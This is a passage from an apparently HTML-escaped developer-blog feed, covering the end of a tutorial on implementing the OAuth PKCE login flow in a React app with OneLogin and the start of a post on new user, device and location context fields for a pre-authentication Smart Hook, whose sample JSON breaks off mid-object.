#9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;img src=&amp;quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;pkce-flow-access.png&amp;quot; alt=&amp;quot;React component encapsulating PKCE login flow&amp;quot;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;This step creates something I used as the href in an &amp;amp;lt;a&amp;amp;gt; tag that is that Log In button you see there. This is what the user clicks to get directed to their IdP for login. Also, notice I stash the code_verifier (the UN-HASHED string) in localStorage. Once they successfully authenticate there, they will get redirected back to your redirect_uri of choice (usually back here) with a query parameter ?code=123 . &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;strong&amp;gt;The &#x2F;token Request&amp;lt;&#x2F;strong&amp;gt;&amp;lt;br&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;javascript&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; PKCEAuthCodeSecondStep&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; code&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  let&lt;&#x2F;span&gt;&lt;span&gt; oidcURL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;process&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;env&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;OIDC_IDP_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&#x2F;token&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  let&lt;&#x2F;span&gt;&lt;span&gt; params&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; qs&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;stringify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    grant_type&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;authorization_code&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    redirect_uri&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;http:&#x2F;&#x2F;localhost&#x2F;login_oidc&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    client_id&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; process&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;env&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;OIDC_CLIENT_ID&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    code_verifier&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; localStorage&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;getItem&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;code_verifier&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    code&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  localStorage&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;removeItem&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;code_verifier&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span&gt; axios&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;post&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; oidcURL&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; params&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;span&gt; headers&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Content-Type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;application&#x2F;x-www-form-urlencoded&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  )&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;then&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    localStorage&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;setItem&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;access_token&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; res&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;access_token&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; res&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This last step takes the code we received from the IdP, combines it with the client_id and code_verifier (retrieved from localStorage), and sends a POST request to the IdP. Remember to send this data as x-www-form-urlencoded and use the qs library to stringify these parameters first to avoid any weird behavior. Once I get an access_token, I store that in localStorage to use for other requests that need authentication.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-full-picture&quot;&gt;The Full Picture&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;One-Liner Setup&lt;&#x2F;strong&gt;&lt;br&gt;
If you don’t feel like going through a UI-driven setup process, we’ve included this &lt;a href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;dcaponi&#x2F;af3a2ff97f16619999b9bdbd3ec95863&quot; target=&quot;_blank&quot;&gt;Terraform plan file&lt;&#x2F;a&gt; for your convenience. If you’re a Terraform user, you can simply run terraform apply and you’ll have the user, app, and role configured.&lt;&#x2F;p&gt;
&lt;p&gt;The code below constitutes a full React module that can be dropped into a project (minus the custom components you see there) where you can start authenticating users through a React project. To get started, I recommend hitting up OneLogin for their easy-to-use OIDC integration.&lt;&#x2F;p&gt;
&lt;p&gt;You should get a &lt;a href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;developer-signup?utm_medium=web&amp;utm_source=devsite&amp;utm_campaign=freedeveloperaccount&amp;utm_content=headernav&quot;&gt;developer account&lt;&#x2F;a&gt; with all the features for this unlocked, including multi-factor auth, which is now possible if you authenticate your users with this flow.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;OneLogin Account Setup&lt;&#x2F;strong&gt;&lt;br&gt;
Create a new OIDC App&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;oidc.png&quot; alt=&quot;New OIDC app&quot;&gt;
&lt;p&gt;Then tell your IdP about your SPA redirect URIs in the App configuration screen. Doing this tells your IdP to allow cross origin traffic and redirect to only these URLs so you don’t run into any CORS issues.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;oidc-configuration.png&quot; alt=&quot;App configuration screen&quot;&gt;
&lt;p class=&quot;center-text&quot;&gt;Enter http:&#x2F;&#x2F;localhost&lt;&#x2F;p&gt;
&lt;p&gt;Next, under the SSO tab, grab your client_id and save it to a .env file in your SPA project. If you’re following these code samples, you should save it like OIDC_CLIENT_ID=123 . While you’re in your .env file, you should also drop in your OIDC_IDP_URL like so OIDC_IDP_URL=&lt;your domain&gt;.onelogin.com&#x2F;oidc&#x2F;2 .&lt;&#x2F;p&gt;
&lt;p&gt;Once you added your redirect urls you’ll need to configure the app for the PKCE login flow by going to the SSO tab and selecting None (PKCE) from the Token Endpoint dropdown. This tells the IdP to expect a code_verifier instead of a client_secret when you POST to the &#x2F;token endpoint.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;token-endpoint.png&quot; alt=&quot;Select None (PKCE)&quot;&gt;
&lt;p&gt;Then create a user and assign a username and password in OneLogin&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;change-password.png&quot; alt=&quot;Change password in OneLogin&quot;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;change-password_2.png&quot; alt=&quot;Change password in OneLogin&quot;&gt;
&lt;p class=&quot;center-text&quot;&gt;This option is available to you after you save the user&lt;&#x2F;p&gt;
&lt;p&gt;Then, create a role and add the user to that role.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;add-user-role.png&quot; alt=&quot;Add user to role&quot;&gt;
&lt;p class=&quot;center-text&quot;&gt;Click Add To Role and Save the role&lt;&#x2F;p&gt;
&lt;p&gt;Finally, add your OIDC app to the role (I named mine Demo Lab and added it already).&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;add-app.png&quot; alt=&quot;Add to role&quot;&gt;
&lt;p&gt;Once you set up your React App and environment, you should be presented with a link to &#x2F;auth. Click it, and you should see the OneLogin login page. Enter your credentials and you should be redirected back to your app, and a peek at the network tab should reveal a 200 for the &#x2F;token request.&lt;&#x2F;p&gt;
&lt;p&gt;You can go a step further as well and ask for some basic user information (like a profile page) by hitting the &#x2F;me endpoint of your IdP with the access_token you just got.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;React Component Implementation&lt;&#x2F;strong&gt;&lt;br&gt;
&lt;a href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;dcaponi&#x2F;0e89f22dafffb5a0698bfc1dc3bf4116&quot; target=&quot;_blank&quot;&gt;This gist&lt;&#x2F;a&gt; represents a single react component for the white part of the screenshot here&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;log-in.png&quot; alt=&quot;React component encapsulating PKCE login flow&quot;&gt;
&lt;p&gt;where the full working code can be found at &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-demo-lab&quot; target=&quot;_blank&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-demo-lab&lt;&#x2F;a&gt;. Feel free to use this component as inspiration for your login components or you can start the demo app and follow the instructions for recreating the example from this post.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Introducing new enhanced user context for the pre-authentication Smart Hook</title>
        <published>2021-02-09T00:00:00+00:00</published>
        <updated>2021-02-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/enhanced-pre-authentication-hook-context/"/>
        <id>https://developers.onelogin.com/blog/enhanced-pre-authentication-hook-context/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/enhanced-pre-authentication-hook-context/">&lt;p&gt;For those of you who participate in our Early Preview program for Smart Hooks, we recently released some changes we think you will love.&lt;&#x2F;p&gt;
&lt;p&gt;It’s been awesome to learn more about the authentication challenges and unique compliance use cases that many of our customers experience, and then design Smart Hook implementations to solve them.&lt;&#x2F;p&gt;
&lt;p&gt;It became clear early on that we need more contextual information in the pre-authentication hook to solve many of the use cases. We created the following additions to capture the contextual information.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MFA device information&lt;&#x2F;li&gt;
&lt;li&gt;Last successful login date&lt;&#x2F;li&gt;
&lt;li&gt;Service Provider initiated login app information&lt;&#x2F;li&gt;
&lt;li&gt;Semantic versioning for hook contexts&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;user&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;user_identifier&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;jim-hendrix&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;policy_id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 187345&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 36216766&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;last_login_success&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;2020-10-21T17:04:22.852Z&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;device&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;user_agent&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Mozilla&#x2F;5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit&#x2F;537.36 (KHTML, like Gecko) Chrome&#x2F;85.0.4183.121 Safari&#x2F;537.36&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;is_mobile&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;location&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;120.118.218.225&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
